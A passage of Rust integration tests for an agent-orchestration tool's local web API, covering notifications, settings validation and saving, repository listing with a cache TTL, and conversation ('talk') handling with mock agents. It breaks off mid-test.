10336 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
10337 .unwrap();
10338 let health = fx.get("/api/health").await.json();
10339 assert_eq!(health["notifications_unread"], 2);
10340 assert_ne!(
10341 health["notifications_rev"], rev0,
10342 "the badge must move live"
10343 );
10344
10345 let listed = fx.get("/api/notifications").await.json();
10346 assert_eq!(listed["unread"], 2);
10347 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
10348 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
10349
10350 let read = fx
10351 .post(&format!("/api/notifications/{}/read", a.id), None)
10352 .await;
10353 assert_eq!(read.status, 200, "{}", read.body);
10354 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
10355
10356 let gone = fx
10357 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
10358 .await;
10359 assert_eq!(gone.status, 200, "{}", gone.body);
10360 let listed = fx.get("/api/notifications").await.json();
10361 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
10362 assert_eq!(listed["unread"], 0);
10363
10364 store.raise(Notice::info("x", "again")).unwrap();
10365 let all = fx.post("/api/notifications/read-all", None).await;
10366 assert_eq!(all.status, 200, "{}", all.body);
10367 assert_eq!(all.json()["marked"], 1);
10368 assert_eq!(
10369 fx.get("/api/health").await.json()["notifications_unread"],
10370 0
10371 );
10372
10373 let missing = fx.post("/api/notifications/nope/read", None).await;
10374 assert_eq!(missing.status, 404, "{}", missing.body);
10375 assert!(missing.json()["error"].is_string());
10376 }
10377
10378 #[tokio::test]
10385 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10386 let f = Fixture::start().await;
10387
10388 let res = f
10389 .post(
10390 "/api/queue",
10391 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10392 )
10393 .await;
10394
10395 assert_eq!(
10396 res.status, 405,
10397 "POST /api/queue must not be a route: {}",
10398 res.body
10399 );
10400 assert!(
10401 f.queue().list().is_empty(),
10402 "a task filed by a route that does not exist must not reach the disk"
10403 );
10404 assert_eq!(f.get("/api/queue").await.status, 200);
10407 }
10408
10409 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10411 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10412 .expect("checkout dir");
10413 }
10414
10415 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10417
10418 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10419 let tmp = TempDir::new().expect("tempdir");
10420 let repo = tmp.path().join("repo");
10421 std::fs::create_dir_all(&repo).expect("repo dir");
10422 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10423 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10424 if let Some(text) = machine_toml {
10425 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10426 std::fs::write(&machine, text).expect("machine toml");
10427 }
10428 (tmp, repo, machine)
10429 }
10430
10431 async fn settings_checkout(path: &FsPath, text: &str) {
10432 std::fs::create_dir_all(path).unwrap();
10433 std::fs::write(path.join("magi.toml"), text).unwrap();
10434 for args in [
10435 vec!["init", "-b", "main"],
10436 vec!["add", "magi.toml"],
10437 vec![
10438 "-c",
10439 "user.name=Test",
10440 "-c",
10441 "user.email=test@example.invalid",
10442 "commit",
10443 "-m",
10444 "fixture",
10445 ],
10446 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10447 vec![
10448 "symbolic-ref",
10449 "refs/remotes/origin/HEAD",
10450 "refs/remotes/origin/main",
10451 ],
10452 ] {
10453 crate::git::git(path, &args).await.unwrap();
10454 }
10455 }
10456
10457 #[tokio::test]
10458 async fn settings_context_handlers_validate_and_save_without_a_socket() {
10459 let (tmp, repo, machine) =
10460 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10461 let root = tmp.path().join("roots");
10462 let selected = root.join("host/owner/selected");
10463 settings_checkout(
10464 &selected,
10465 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10466 )
10467 .await;
10468 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10469 let before = std::fs::read(&machine).unwrap();
10470 let ui = Arc::new(
10471 Ui::new(
10472 Queue::at(tmp.path().join("queue")),
10473 Questions::at(tmp.path().join("questions")),
10474 Talks::at(tmp.path().join("talks")),
10475 tmp.path().join("runs"),
10476 tmp.path().to_path_buf(),
10477 repo.clone(),
10478 )
10479 .with_machine_config(Some(machine.clone())),
10480 );
10481 let query = || {
10482 Query(SettingsQuery {
10483 repo: Some(selected.clone()),
10484 })
10485 };
10486 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10487 assert!(v.error.is_none(), "{:?}", v.error);
10488 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10489 assert_eq!(conductor.source, "repo");
10490 assert_eq!(
10491 conductor.machine_value,
10492 Some(toml::Value::String("a".into()))
10493 );
10494 assert!(!conductor.editable);
10495 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10496 assert_eq!(
10497 judges.count.as_ref().unwrap().machine_value,
10498 Some(toml::Value::Integer(1))
10499 );
10500 assert!(
10501 !v.roles
10502 .iter()
10503 .find(|r| r.key == "reviewers")
10504 .unwrap()
10505 .editable
10506 );
10507 let unknown = || {
10508 Query(SettingsQuery {
10509 repo: Some(tmp.path().to_path_buf()),
10510 })
10511 };
10512 assert_eq!(
10513 settings_get(State(ui.clone()), unknown())
10514 .await
10515 .unwrap_err()
10516 .status,
10517 StatusCode::UNPROCESSABLE_ENTITY
10518 );
10519 let body = || {
10520 Ok(Json(RolesBody {
10521 revision: v.revision.clone(),
10522 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10523 counts: Default::default(),
10524 }))
10525 };
10526 assert_eq!(
10527 settings_put_roles(State(ui.clone()), unknown(), body())
10528 .await
10529 .unwrap_err()
10530 .status,
10531 StatusCode::UNPROCESSABLE_ENTITY
10532 );
10533 assert_eq!(std::fs::read(&machine).unwrap(), before);
10534 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10535 .await
10536 .unwrap();
10537 assert_eq!(
10538 saved.repo,
10539 selected.canonicalize().unwrap().display().to_string()
10540 );
10541 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10542 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10543 let fresh = root.join("host/owner/fresh");
10545 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10546 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10547 .await
10548 .unwrap();
10549 assert_eq!(fresh_view.repositories.len(), 3);
10550 }
10551
10552 #[tokio::test]
10553 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10554 let (tmp, repo, machine) = settings_dirs(
10555 "[roles]\nreviewers = [\"a\"]\n",
10556 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10557 );
10558 let root = tmp.path().join("roots");
10559 let selected = root.join("host/owner/selected");
10560 settings_checkout(
10561 &selected,
10562 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10563 )
10564 .await;
10565 let broken = root.join("host/owner/broken");
10566 settings_checkout(&broken, "[roles\nbroken").await;
10567 let machine_text = format!(
10568 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10569 toml::Value::String(root.display().to_string())
10570 );
10571 std::fs::write(&machine, &machine_text).unwrap();
10572 let originals: Vec<_> = [&repo, &selected, &broken]
10573 .iter()
10574 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10575 .collect();
10576 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10577 let default = f.get("/api/settings").await.json();
10578 assert_eq!(
10579 default["repo"],
10580 repo.canonicalize().unwrap().display().to_string()
10581 );
10582 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10583 let query = format!("?repo={}", selected.display());
10584 let res = f.get(&format!("/api/settings{query}")).await;
10585 assert_eq!(res.status, 200, "{}", res.body);
10586 let v = res.json();
10587 assert!(v["error"].is_null(), "{v}");
10588 assert_eq!(v["repositories"], default["repositories"]);
10589 let role = |key: &str| {
10590 v["roles"]
10591 .as_array()
10592 .unwrap()
10593 .iter()
10594 .find(|r| r["key"] == key)
10595 .unwrap()
10596 };
10597 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10598 assert_eq!(role("advisors")["source"], "repo");
10599 assert_eq!(role("advisors")["editable"], false);
10600 assert!(role("advisors")["machine_value"].is_null());
10601 assert_eq!(role("judges")["count"]["value"], 2);
10602 assert_eq!(role("judges")["count"]["machine_value"], 1);
10603 assert_eq!(role("judges")["count"]["source"], "repo");
10604 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10605 assert!(
10606 source.contains("origin/main") && !source.contains("magi/config/"),
10607 "{source}"
10608 );
10609 assert_eq!(
10610 role("reviewers")["editable"],
10611 false,
10612 "default context outside roots must protect its declarations"
10613 );
10614 let body =
10615 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10616 let unknown = format!("?repo={}", tmp.path().display());
10617 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10618 assert_eq!(
10619 f.put(&format!("/api/settings/roles{unknown}"), &body)
10620 .await
10621 .status,
10622 422
10623 );
10624 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10625 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10626 .to_string();
10627 assert_eq!(
10628 f.put(&format!("/api/settings/roles{query}"), &refuse)
10629 .await
10630 .status,
10631 422
10632 );
10633 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10634 assert_eq!(saved.status, 200, "{}", saved.body);
10635 assert_eq!(saved.json()["repo"], v["repo"]);
10636 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10637 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10638 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10639 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10640 }
10641 let error = f
10642 .get(&format!("/api/settings?repo={}", broken.display()))
10643 .await;
10644 assert_eq!(error.status, 200);
10645 assert!(error.json()["error"]["message"].is_string());
10646 assert_eq!(error.json()["repositories"], default["repositories"]);
10647 }
10648
10649 #[tokio::test]
10650 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10651 let (_tmp, repo, machine) =
10652 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10653 let f = Fixture::with_repo_and_machine(repo, machine).await;
10654 let res = f.get("/api/settings").await;
10655 assert_eq!(res.status, 200, "{}", res.body);
10656 let v = res.json();
10657 assert!(v["error"].is_null(), "{v}");
10658 let role = |k: &str| {
10659 v["roles"]
10660 .as_array()
10661 .and_then(|r| r.iter().find(|x| x["key"] == k))
10662 .cloned()
10663 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10664 };
10665 assert_eq!(role("judges")["source"], "machine");
10666 assert_eq!(role("judges")["editable"], true);
10667 assert_eq!(role("implementers")["source"], "default");
10668 let adv = role("advisors");
10669 assert_eq!(adv["fallback"], "judges");
10670 assert!(
10671 adv["seats"]
10672 .as_array()
10673 .is_some_and(|s| s.iter().all(|x| x == "b")),
10674 "{adv}"
10675 );
10676 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10677 assert_eq!(v["agents"][0]["source"], "repo");
10678 }
10679
10680 #[tokio::test]
10681 async fn settings_get_reports_a_config_that_does_not_parse() {
10682 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10683 let f = Fixture::with_repo_and_machine(repo, machine).await;
10684 let res = f.get("/api/settings").await;
10685 assert_eq!(res.status, 200, "{}", res.body);
10686 let v = res.json();
10687 assert!(v["error"]["message"].is_string(), "{v}");
10688 assert!(
10689 v["error"]["path"]
10690 .as_str()
10691 .is_some_and(|p| p.ends_with("magi.toml")),
10692 "{v}"
10693 );
10694 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10695 }
10696
10697 #[tokio::test]
10698 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10699 let (_tmp, repo, machine) = settings_dirs(
10700 SETTINGS_AGENTS,
10701 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10702 );
10703 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10704 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10705 let rev = f.get("/api/settings").await.json()["revision"]
10706 .as_str()
10707 .expect("revision")
10708 .to_owned();
10709 let body = serde_json::json!({
10710 "revision": rev,
10711 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10712 })
10713 .to_string();
10714 let res = f.put("/api/settings/roles", &body).await;
10715 assert_eq!(res.status, 200, "{}", res.body);
10716 let text = std::fs::read_to_string(&machine).expect("machine");
10717 assert_eq!(
10718 text,
10719 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10720 );
10721 assert_eq!(
10722 std::fs::read(repo.join("magi.toml")).expect("read"),
10723 repo_before
10724 );
10725 let again = f.get("/api/settings").await.json();
10726 let judges = again["roles"]
10727 .as_array()
10728 .expect("roles")
10729 .iter()
10730 .find(|r| r["key"] == "judges")
10731 .expect("judges")
10732 .clone();
10733 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10734 let stale = f.put("/api/settings/roles", &body).await;
10736 assert_eq!(stale.status, 409, "{}", stale.body);
10737 }
10738
10739 #[tokio::test]
10740 async fn settings_counts_are_reported_and_saved() {
10741 let (_tmp, repo, machine) = settings_dirs(
10742 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10743 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10744 );
10745 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10746 let v = f.get("/api/settings").await.json();
10747 let count = |v: &serde_json::Value, k: &str| {
10748 v["roles"]
10749 .as_array()
10750 .and_then(|r| r.iter().find(|x| x["key"] == k))
10751 .map(|x| x["count"].clone())
10752 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10753 };
10754 let imp = count(&v, "implementers");
10755 assert_eq!(imp["value"], 2);
10756 assert_eq!(imp["source"], "machine");
10757 assert_eq!(imp["file_key"], "candidates");
10758 assert_eq!(imp["roster_len"], 2);
10759 assert_eq!(imp["backups"], 0);
10760 assert_eq!(count(&v, "judges")["source"], "default");
10761 assert_eq!(count(&v, "advisors")["min"], 0);
10762 assert_eq!(count(&v, "reviewers")["editable"], false);
10763 assert!(
10764 count(&v, "reviewers")["locked_reason"]
10765 .as_str()
10766 .is_some_and(|m| m.contains("graph.reviewers"))
10767 );
10768 assert!(count(&v, "fixer").is_null());
10769 let rev = v["revision"].as_str().expect("revision").to_owned();
10770 let body = serde_json::json!({
10771 "revision": rev,
10772 "roles": { "judges": ["b"] },
10773 "counts": { "implementers": 1, "advisors": 0 }
10774 })
10775 .to_string();
10776 let res = f.put("/api/settings/roles", &body).await;
10777 assert_eq!(res.status, 200, "{}", res.body);
10778 let text = std::fs::read_to_string(&machine).expect("machine");
10779 assert_eq!(
10780 text,
10781 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10782 );
10783 let after = f.get("/api/settings").await.json();
10784 assert_eq!(count(&after, "implementers")["value"], 1);
10785 assert_eq!(count(&after, "implementers")["backups"], 1);
10786 assert_eq!(count(&after, "advisors")["value"], 0);
10787 let before = std::fs::read_to_string(&machine).expect("machine");
10788 let rev = after["revision"].as_str().expect("revision").to_owned();
10789 for counts in [
10790 serde_json::json!({ "judges": 0 }),
10791 serde_json::json!({ "judges": "x" }),
10792 serde_json::json!({ "judges": 2.5 }),
10793 serde_json::json!({ "judges": -1 }),
10794 serde_json::json!({ "reviewers": 3 }),
10795 serde_json::json!({ "bogus": 3 }),
10796 ] {
10797 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10798 let res = f.put("/api/settings/roles", &body).await;
10799 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10800 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10801 }
10802 }
10803
10804 #[tokio::test]
10805 async fn settings_put_refuses_without_touching_the_file() {
10806 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10807 let (_tmp, repo, machine) = settings_dirs(
10808 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10809 Some(machine_text),
10810 );
10811 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10812 let rev = f.get("/api/settings").await.json()["revision"]
10813 .as_str()
10814 .expect("revision")
10815 .to_owned();
10816 for roles in [
10817 serde_json::json!({ "judges": ["nope"] }),
10818 serde_json::json!({ "reviewers": ["b"] }),
10819 serde_json::json!({ "bogus": ["a"] }),
10820 ] {
10821 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10822 let res = f.put("/api/settings/roles", &body).await;
10823 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10824 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10825 assert_eq!(
10826 std::fs::read_to_string(&machine).expect("machine"),
10827 machine_text
10828 );
10829 }
10830 }
10831
10832 #[tokio::test]
10833 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10834 let tmp = TempDir::new().expect("tempdir");
10835 let repo = tmp.path().join("repo");
10836 std::fs::create_dir_all(&repo).expect("repo dir");
10837 let root = tmp.path().join("root");
10838 make_checkout(&root, "github.com", "yukimemi", "magi");
10839 std::fs::write(
10840 repo.join("magi.toml"),
10841 format!(
10842 "[repos]\nroots = [{:?}]\n",
10843 root.to_string_lossy().into_owned()
10844 ),
10845 )
10846 .expect("write magi.toml");
10847
10848 let f = Fixture::with_repo(repo).await;
10849 let res = f.get("/api/repos").await;
10850 assert_eq!(res.status, 200, "{}", res.body);
10851 let list = res.json();
10852 let repos = list.as_array().expect("an array");
10853 assert_eq!(repos.len(), 1);
10854 assert_eq!(repos[0]["name"], "yukimemi/magi");
10855 assert!(
10856 repos[0]["path"]
10857 .as_str()
10858 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10859 "{list}"
10860 );
10861 }
10862
10863 #[tokio::test]
10864 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10865 let tmp = TempDir::new().expect("tempdir");
10866 let repo = tmp.path().join("repo");
10867 std::fs::create_dir_all(&repo).expect("repo dir");
10868 let root = tmp.path().join("root");
10869 make_checkout(&root, "github.com", "yukimemi", "magi");
10870 std::fs::write(
10871 repo.join("magi.toml"),
10872 format!(
10873 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10874 root.to_string_lossy().into_owned()
10875 ),
10876 )
10877 .expect("write magi.toml");
10878
10879 let f = Fixture::with_repo(repo).await;
10880 let first = f.get("/api/repos").await;
10881 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10882
10883 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10886 let second = f.get("/api/repos").await;
10887 assert_eq!(
10888 second.json().as_array().map(Vec::len),
10889 Some(1),
10890 "a fresh cache must not rescan inside the TTL"
10891 );
10892
10893 let refreshed = f.get("/api/repos?refresh=1").await;
10894 assert_eq!(
10895 refreshed.json().as_array().map(Vec::len),
10896 Some(2),
10897 "an explicit refresh must rescan even inside the TTL"
10898 );
10899 }
10900
10901 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10907
10908 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10912 let tmp = TempDir::new().expect("tempdir");
10913 let repo = tmp.path().join("repo");
10914 std::fs::create_dir_all(&repo).expect("repo dir");
10915 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10916 let f = Fixture::with_repo(repo.clone()).await;
10917 (tmp, repo, f)
10918 }
10919
10920 #[tokio::test]
10921 async fn posting_a_talk_with_remembered_choices_is_soft() {
10922 let (_tmp, _repo, f) = talk_fixture().await;
10923
10924 let good = f
10925 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10926 .await;
10927 assert_eq!(good.status, 201, "{}", good.body);
10928 assert_eq!(good.json()["persona"], "rei");
10929
10930 let stale = f
10932 .post(
10933 "/api/talks",
10934 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10935 )
10936 .await;
10937 assert_eq!(stale.status, 201, "{}", stale.body);
10938 let v = stale.json();
10939 assert_eq!(v["implementers"], 1);
10940 assert_ne!(v["persona"], "nobody");
10941 let typed = f
10942 .post(
10943 "/api/talks",
10944 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10945 )
10946 .await;
10947 assert_eq!(typed.status, 201, "{}", typed.body);
10948
10949 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10951 assert!(
10952 !strict.status.to_string().starts_with('2'),
10953 "{}",
10954 strict.body
10955 );
10956 }
10957
10958 #[tokio::test]
10959 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10960 let (_tmp, _repo, f) = talk_fixture().await;
10961
10962 let opened = f.post("/api/talks", None).await;
10965 assert_eq!(opened.status, 201, "{}", opened.body);
10966 let body = opened.json();
10967 assert_eq!(body["status"], "open");
10968 assert_eq!(
10969 body["turns"].as_array().unwrap().len(),
10970 0,
10971 "opening takes no agent turn: there is nothing yet to answer"
10972 );
10973
10974 let also_opened = f.post("/api/talks", Some("{}")).await;
10976 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10977
10978 let listed = f.get("/api/talks").await.json();
10979 assert_eq!(listed.as_array().unwrap().len(), 2);
10980 }
10981
10982 #[tokio::test]
10983 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10984 let tmp = TempDir::new().expect("tempdir");
10985 let repo = tmp.path().join("repo");
10986 std::fs::create_dir_all(&repo).expect("repo dir");
10987 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10988 std::fs::write(
10989 repo.join("magi.toml"),
10990 format!("{MOCK_AGENT_TOML}\n{second}"),
10991 )
10992 .expect("write magi.toml");
10993 let home = TempDir::new().expect("temp home");
10994 let talks = Talks::at(home.path().join("talks"));
10995 let ui = Arc::new(
10996 Ui::new(
10997 Queue::at(home.path().join("queue")),
10998 Questions::at(home.path().join("questions")),
10999 talks.clone(),
11000 home.path().join("runs"),
11001 home.path().to_path_buf(),
11002 repo.clone(),
11003 )
11004 .with_worktrees_root(home.path().join("wt")),
11005 );
11006 let cfg = config_for(&repo).await.expect("discover config");
11007 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11008 let id = talk.id.clone();
11009 let call = |agent: &str| {
11010 talk_agent(
11011 State(Arc::clone(&ui)),
11012 Path(id.clone()),
11013 Json(TalkAgent {
11014 agent: agent.to_owned(),
11015 }),
11016 )
11017 };
11018
11019 let unknown = call("nobody").await.expect_err("unknown agent");
11020 assert_eq!(
11021 unknown.status,
11022 StatusCode::BAD_REQUEST,
11023 "{}",
11024 unknown.message
11025 );
11026
11027 {
11028 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11031 let busy = call("second").await.expect_err("busy talk");
11032 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11033 assert!(
11034 busy.message.contains("a talk turn is running"),
11035 "{}",
11036 busy.message
11037 );
11038 drop(guard);
11039 }
11040 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11041
11042 let Json(view) = call("second").await.expect("switch");
11043 assert_eq!(view.talk.agent, "second");
11044 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11045 let saved = talks.get(&id).expect("reload");
11046 assert_eq!(saved.agent, "second");
11047 assert_eq!(saved.turns.len(), 1);
11048 assert!(!view.thinking);
11049 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11050 for agent in ["mock", "second"] {
11051 let Json(view) = call(agent).await.expect("immediate consecutive change");
11052 assert_eq!(view.talk.agent, agent);
11053 assert!(!view.thinking);
11054 assert!(!ui.is_thinking(&id));
11055 }
11056
11057 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11058 .await
11059 .expect("detail");
11060 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11061 assert_eq!(roster, ["mock", "second"]);
11062
11063 let mut closed = talks.get(&id).expect("reload");
11064 talk::close(&mut closed, &talks).expect("close");
11065 let refused = call("mock").await.expect_err("closed talk");
11066 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11067 assert!(
11068 refused.message.contains("takes no more turns"),
11069 "{}",
11070 refused.message
11071 );
11072 }
11073
11074 #[tokio::test]
11075 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11076 let tmp = TempDir::new().expect("tempdir");
11077 let repo = tmp.path().join("repo");
11078 std::fs::create_dir_all(&repo).expect("repo dir");
11079 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11080 let home = TempDir::new().expect("temp home");
11081 let talks = Talks::at(home.path().join("talks"));
11082 let ui = Arc::new(
11083 Ui::new(
11084 Queue::at(home.path().join("queue")),
11085 Questions::at(home.path().join("questions")),
11086 talks.clone(),
11087 home.path().join("runs"),
11088 home.path().to_path_buf(),
11089 repo.clone(),
11090 )
11091 .with_worktrees_root(home.path().join("wt")),
11092 );
11093 let cfg = config_for(&repo).await.expect("discover config");
11094 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11095 let id = talk.id.clone();
11096 let call = |n: u8| {
11097 talk_implementers(
11098 State(Arc::clone(&ui)),
11099 Path(id.clone()),
11100 Json(TalkImplementers { implementers: n }),
11101 )
11102 };
11103
11104 for bad in [0u8, 4] {
11105 let e = call(bad).await.expect_err("out of range");
11106 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11107 }
11108 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11109
11110 {
11111 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11114 let busy = call(2).await.expect_err("busy talk");
11115 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11116 assert!(
11117 busy.message.contains("a talk turn is running"),
11118 "{}",
11119 busy.message
11120 );
11121 drop(guard);
11122 }
11123
11124 let Json(view) = call(3).await.expect("switch");
11125 assert_eq!(view.talk.implementers, 3);
11126 assert!(talks.get(&id).expect("reload").implementers_dirty);
11127 assert!(!view.thinking);
11128 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11129 for n in [1, 2, 3] {
11130 let Json(view) = call(n).await.expect("immediate consecutive change");
11131 assert_eq!(view.talk.implementers, n);
11132 assert!(!view.thinking);
11133 assert!(!ui.is_thinking(&id));
11134 }
11135
11136 let mut closed = talks.get(&id).expect("reload");
11137 talk::close(&mut closed, &talks).expect("close");
11138 let e = call(2).await.expect_err("closed talk");
11139 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
11140 assert!(e.message.contains("takes no more turns"), "{}", e.message);
11141 }
11142
11143 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
11145 let tmp = TempDir::new().expect("tempdir");
11146 let repo = tmp.path().join("repo");
11147 std::fs::create_dir_all(&repo).expect("repo dir");
11148 std::fs::write(
11149 repo.join("magi.toml"),
11150 format!("{MOCK_AGENT_TOML}\n{extra}"),
11151 )
11152 .expect("write magi.toml");
11153 let home = TempDir::new().expect("temp home");
11154 let talks = Talks::at(home.path().join("talks"));
11155 let ui = Arc::new(
11156 Ui::new(
11157 Queue::at(home.path().join("queue")),
11158 Questions::at(home.path().join("questions")),
11159 talks.clone(),
11160 home.path().join("runs"),
11161 home.path().to_path_buf(),
11162 repo.clone(),
11163 )
11164 .with_worktrees_root(home.path().join("wt")),
11165 );
11166 let cfg = config_for(&repo).await.expect("discover config");
11167 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11168 (tmp, home, ui, talk.id, repo)
11169 }
11170
11171 #[tokio::test]
11172 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
11173 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11174 let mut conversation = ui.talks.get(&id).unwrap();
11175 talk::record(
11176 &mut conversation,
11177 &ui.talks,
11178 "# Update on a task you filed\noperator words",
11179 vec![],
11180 )
11181 .unwrap();
11182 conversation.turns[0].sender = None;
11184 conversation.turns[0].messages.clear();
11185 ui.talks.put(&mut conversation).unwrap();
11186 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
11187 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
11188 talk::drain(&mut conversation, &ui.talks).unwrap();
11189 talk::record_reply(
11190 &mut conversation,
11191 &ui.talks,
11192 "about that report",
11193 vec![],
11194 Some(talk::ReplyTarget {
11195 turn: 1,
11196 message: 1,
11197 }),
11198 )
11199 .unwrap();
11200 conversation.turns[2].messages[0]
11201 .reply
11202 .as_mut()
11203 .unwrap()
11204 .sender = None;
11205 conversation.turns.push(talk::Turn {
11206 sender: Some(talk::Sender::Persona),
11207 who: talk::Who::Agent,
